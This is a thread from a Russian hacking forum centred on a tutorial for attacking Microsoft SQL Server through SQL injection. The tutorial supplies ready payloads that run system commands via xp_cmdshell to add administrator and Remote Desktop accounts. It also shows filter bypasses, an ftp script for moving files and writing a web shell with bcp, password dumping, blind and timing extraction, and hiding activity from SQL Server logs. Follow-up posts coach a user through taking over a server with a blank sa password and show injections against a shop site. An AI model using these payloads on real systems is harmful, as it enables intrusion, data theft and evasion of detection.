ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 23.09.2007, 15:13
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Токо создание функции в запросе в не всегда прокатывает щас практикую на поллную создание функций штудирую мануалы, за пример спасибо интере интересная реализация.
 
Ответить с цитированием

Tsql, разделяй и властвуй.
  #32  
Старый 09.12.2007, 12:31
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


Exclamation Tsql, разделяй и властвуй.

TSQL, разделяй и властвуй.

Автор : [cash]
Дата : 07.10.2007
Продукт: TSQL



Интро.

Начнем с того, что язык TSQL разработан компанией microsoft для продуктов MSSQL Server и Microsoft Access и др. Самой вкусной частью этого языка являются хранимые процедуры, о которых мы и поговорим сегодня. Сразу хочу сказать, что стандартные запросы к базе данных рассматриваться не будут.

Взлом, хранимые процедуры, функции.

1)Хранимые процедуры.
И так начнем. После нахождения инъекции первое что мы делаем определяем юзера под которым запущенна база, для удачного проведения атаки нам необходимы права системного администратора sa или же юзера обладающего его правами. Нашей конечной целью будет получение шелла и слив базы данных. Рассмотрим процедуры, которые будут нам полезны.

xp_fixeddrives - вывод существующих логических разделов жесткого диска, например.

Код:
C 11155
D 1882
E 135140
xp_subdirs "c:\" – Аналог dir.
xp_create_subdir "c:\aaa" – cоздание папки.
sp_addlogin 'user', 'pass' – Добавление юзера базы данных.
sp_addsrvrolemember 'user', 'sysadmin' – Присвоение юзеру админских привилегий.
xp_regwrite – Запись в реестр.
xp_cmdshell – Исполнение команд.
Остановимся на последнем. Исполнение команд, что же еще может быть лучше этого… есть 1 недостаток у нас нету вывода. Ну начнем с самого распространенного способа добавление юзера на ремот декспот не буду останавливаться на этом и как то комментировать.

Код:
index.asp?id=1;exec master..xp_cmdshell 'net user user pass /add'-- 
index.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators user /add'
index.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" user /add'
И сразу поговорим о фильтрации.
1) ‘‘ Можно обходить [].
2) Посылать запрос в 0x[HEX], как это сделать.

Код:
declare @q varchar(8000) select @q=0x[HEX] exec(@q)

Создаем и исполняем свою переменную. При этом надо помнить что в екзек мы должны вставить имя процедуры а не просто команду.

2)К базе на прямую.
Способ который может нам помочь. Как правило удаленный коннект юзера sa запрещен поэтому мы добавим своего юзера и законнектимся удаленно к серверу, если открыт 1433 порт. Сделаем мы это используя sp_addlogin и sp_addsrvrolemember, описанных выше, а далее мы можем слить базу и исполнять команды уже с выводом.

3)Сценарии.
И самое запись в файлы. Нам нужно найти папку для записи и попробовать записать туда файл. Файл мы будем записывать echo. И так что мы можем сделать используя эту великолепную функцию. Рассмотрим такой листинг.

Код:
echo user '$user' '$passwd' > '$file'
echo type binary >> '$file'
echo get '$download' >> '$file'
echo put '$upload' >> '$file'
echo quit >> '$file'

ftp -n '$ip' < ./'$file'
del '$file'
Исполнив этот набор команд мы можем загружать и скачивать файлы, так же что бы осмотреться на сервере можно использовать tree C:\. Так же можно загрузить netcat и запустить бекконнект. Зная путь до веб директории мы можем прям туда загрузить шелл.

4)bcp
bcp Является стандартной утилитой для дампа базы данных и имеет следующий синтаксис:

Код:
bcp "SELECT * FROM db..table" queryout c:\inetpub\dump -c –S[server] –U[user] –P[pass]
Узнать имя сервера мы можем по переменной @@SERVERNAME, а юзера и пароль мы можем добавить сами. Далее просто слить дамп себе на ftp. Второе применение bcp это заливка шелла. И так по порядочку, создаем табличку с будущим кодом.
Код:
;create table shell (code varchar(8000))--
далее инсертим в табличку.
Код:
;insert into shell (code) set values (‘|code|’)
далее записываем код из таблички в файл.

Код:
bcp "SELECT code FROM shell" queryout c:\www\shell.asp -c –S[server] –U[user] –P[pass]
5) Правда или ложь или посимвольный перебор глобально.
Не возможность вывести данные это лишь маленькая преграда мы всегда сможем составить запрос который давал нам ответ TRUE or FALSE или же 1 и 0, рассмотрим на примере.

Код:
if ((select system_user) = 'sa' OR (select system_user) = 'test') select 1 else select 1/0

DECLARE @q int; EXEC @q = xp_cmdshell 'dir *.exe';IF (@q = 0) SELECT 0 ELSE SELECT 1/0
6) sp_password или без палева.
Вообщем если добавить к запросу в конце --sp_password то ошибки ошибки не будут логироваться в системных журналах SQL Server, но не в журналах IIS или др веб сервера логии будут писаться лично я не понимаю как это фишка пашет но в документации написано что 100% работает, пример
Код:
1=@@version--sp_password
Как правило, использование POST в GET инъекциях не особо часто пашет из-за четко политики ASP как языка, но при возможности использования
7) Читаем файлы.
Для начала создадим таблицу file с полем text
Код:
;create table file(text varchar(8000))--
далее запишем туда файл используя конструкцию bulk insert

Код:
bulk insert file from 'c:\boot.ini '
и прочтем собственно

Код:
select top 1 text from file
Удалим дабы не спалили админы

Код:
;drop table file
8) Объединение данных в базе в одну таблицу.
Что бы не мучаться с выводом большого количества инфы, можно просто объединить их в одну табличку и посмотреть все разом, вообще очень полезная фишка при сливе базы через инъекцию. Для начала нам надо создать таблицу назовем ее tmpusers c одной единственной колонкой dump, так же предполагается что у нас есть табличка users с полями id, usr, pwd. Пример

Код:
;begin declare @dump varchar(8000) set @dump =':' select @dump=@dump+' '+usr+'|'+pwd from users where username>@dump select @dump as ret into tmpusers end--
Хочу обратить внимание что +' '+ и др. соединяющие конструкция типа cast(usr+as+nvarchar)+':'+cast(pwd+as+nvarchar) стоит заменять URL кодировкой %2b%27%3a%27%2b.
Далее нам надо сделать запрос select к тому что мы создали.

Код:
select top 1 dump from tmpusers
И дропнуть табличку.

Код:
;drop table tmpusers
9) Полезные таблицы.
master..sysservers – Серверы слинкованные с данные(для применения атак ROWSET)
Системные юзеры.
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys..sql_logins


3) Посимвольный перебор.
Далеко не во всех случаях при инъекции выводиться ошибка при подстановке кавычки, что делать в это случае определить юзера не составит труда, но что делать если у нас не превилегированный юзер, а кто отменял substring() в mssql синтаксис у нас будет следующий

Код:
1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 table_name FROM dbo1.user WHERE id=1 AND name NOT IN(SELECT TOP 0 name FROM dbo1.user WHERE id=1)),1,1)),0)>1--
В ответ мы получим либо истинный либо ложный ответ. Рассмотрим еще один способ у него есть аналог в mysql и называется он BENCHMARK(). Основная его идея в отлике сервера при исолнении запроса. WAITFOR DELAY() и имеет синтаксис

Код:
WAITFOR DELAY '00:00:00'--
Использывать мы будем его так же с оператором IF вот собственно пример

Код:
if (select system_user) = 'sa' waitfor delay '0:0:25'
Не забываем что время на исполнение у сервера, как правило 30 секунд поэтому 20-25 оптимально.

4)Фильтрация.
Сегодня мы уже затрагивали тему фильтрации но заострим на этом внимание. Первое что стоит попробовать фильтруется ли запрос как в GET так и в POST или же наоборот. Далее фильтрация по маске на пример exec или же select для того что бы обойти данный вид фильтрации нам надо иметь и представлять какие комментарии есть в данном языке и так:


‘#’ - конец строки
‘--‘ - конец строки
‘/*’ ‘*\’ – строчные комментарии.
; - разделение запросов (может быть гораздо больше 1)

То есть для того, что бы нам разделить фильтруеещееся по маске слово внутрь него мы вставим строчный комментарий и закроем его, например

Код:
E/*comment*/X/*comment*/E/*comment*/C
Так же надо помнить что есть альтернативы многим запросам, а на фильтр как правило стоят только основные функции, конструкции.

Название баз данных и, например данных для инсерта мы можем кодировать 2 способами:
1)Многосимвольно 0x[HEX]
2) Односимвольно char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])


5)ROWSET или еще 1 косяк Microsoft.

На эту тему написана отличная статья на русском языке на securitylab.ru так что дублировать что либо я не вижу смысла и так что читаем.


[ cash ] Hack-Shop.Org.Ru (c)
 
Ответить с цитированием

  #33  
Старый 31.12.2007, 11:02
Аватар для Klaus Doring
Klaus Doring
Участник форума
Регистрация: 23.07.2007
Сообщений: 100
Провел на форуме:
620976

Репутация: 52
Отправить сообщение для Klaus Doring с помощью ICQ
По умолчанию

При подборе колонок вылазит вот такой эррор!
Warning: mssql_connect() [function.mssql-connect]: Unable to connect to server: 127.0.0.1
Warning: mssql_query() [function.mssql-query]: Unable to connect to server: (null)
Warning: mssql_query() [function.mssql-query]: A link to the server could not be established
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
 
Ответить с цитированием

  #34  
Старый 03.01.2008, 13:05
Аватар для GannIbal.
GannIbal.
Новичок
Регистрация: 03.01.2008
Сообщений: 2
Провел на форуме:
2102

Репутация: 0
Smile

На шол вот такую уязвимость


Пользователь 'sa' имеет пустой пароль, следовательно любой пользователь может получить полный доступ к БД. Также при наличии расширенной процедуры xp_cmdshell злоумышленник может получить полный контроль над сервером.


добрые люди помогите ей воспользоваться

заранее спасибо
может есть какой либо список команд
 
Ответить с цитированием

  #35  
Старый 03.01.2008, 13:26
Аватар для Lancellot
Lancellot
Участник форума
Регистрация: 09.08.2006
Сообщений: 157
Провел на форуме:
1583810

Репутация: 56
По умолчанию

GannIbal.
по моему нужен юзер dbo/ master и тд .
что бы выполнять команды на сервере и добавлять юзера в бд
 
Ответить с цитированием

  #36  
Старый 03.01.2008, 13:36
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Цитата:
Сообщение от Lancellot  
GannIbal.
по моему нужен юзер dbo/ master и тд .
что бы выполнять команды на сервере и добавлять юзера в бд
Нет, именно sa
 
Ответить с цитированием

  #37  
Старый 03.01.2008, 16:59
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

2GannIbal.

1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com ))
2) Запусти
3) Веди ip логин sa пароль оставь пустым.
4) Нажми Cоеденить или Connect.
5) Наблюдай азу данных в графическо интерфейсе.
 
Ответить с цитированием

  #38  
Старый 03.01.2008, 18:08
Аватар для GannIbal.
GannIbal.
Новичок
Регистрация: 03.01.2008
Сообщений: 2
Провел на форуме:
2102

Репутация: 0
По умолчанию

Цитата:
Сообщение от [ cash ]  
2GannIbal.

1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com ))
2) Запусти
3) Веди ip логин sa пароль оставь пустым.
4) Нажми Cоеденить или Connect.
5) Наблюдай азу данных в графическо интерфейсе.

сейчас посмотрим
спасибо бальшое вроде всё норм пака работает

Последний раз редактировалось GannIbal.; 03.01.2008 в 18:20..
 
Ответить с цитированием

  #39  
Старый 10.01.2008, 08:02
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Готовиться продолжение статьи

https://forum.antichat.ru/showpost.php?p=523825&postcount=36
TSQL, разделяй и властвуй.

В рассмотрении пока темы:
1) Эффективное исполнение команд.
2) Методы автоматизации иньекций.
3) MSSQL и PHP
4) Клиенты, библиотеки, и методы аудита баз MSSQL.

Хотелось бы услышать то, что вам будет интересно прочитать, обсудить или просто поделиться.

Все вы можете со мной обсудить на IRC канале #antichat.
 
Ответить с цитированием

  #40  
Старый 08.02.2008, 05:24
Аватар для ~Taxa~
~Taxa~
Новичок
Регистрация: 24.01.2008
Сообщений: 20
Провел на форуме:
39650

Репутация: 15
По умолчанию

Добрый день, столкнулся с траблой по MSSQL. Могу всмотреть таблицы и их колонки. НО не всех таблиц пример если взять 'customers'

Код:
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+last_name+from+customer)--
то читать могу выдает имя юзера, а вот если взять 'order'

Код:
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='order'+AND+COLUMN_NAME+NOT+IN+('ip','login_date'))--
показывает все, но если забить такой запрос

Код:
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+ip+from+order)--
то облом пишит следующие:

Цитата:
ADODB.Field error '80020009'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/shop/progucts.asp, line 0
Что это может значить? Я так понимаю что у меня нету прав на чтения это таблицы или я ошибаюсь?

Последний раз редактировалось ~Taxa~; 08.02.2008 в 05:32..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Os - моя крепость Elekt Избранное 32 06.08.2009 15:10
Мнения: "Безопасность от Microsoft: шаг к обновленному миру?" dinar_007 Мировые новости 5 25.12.2006 19:20
Дыра в Word позволяет захватить контроль над ПК »Atom1c« Мировые новости 17 12.12.2006 13:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ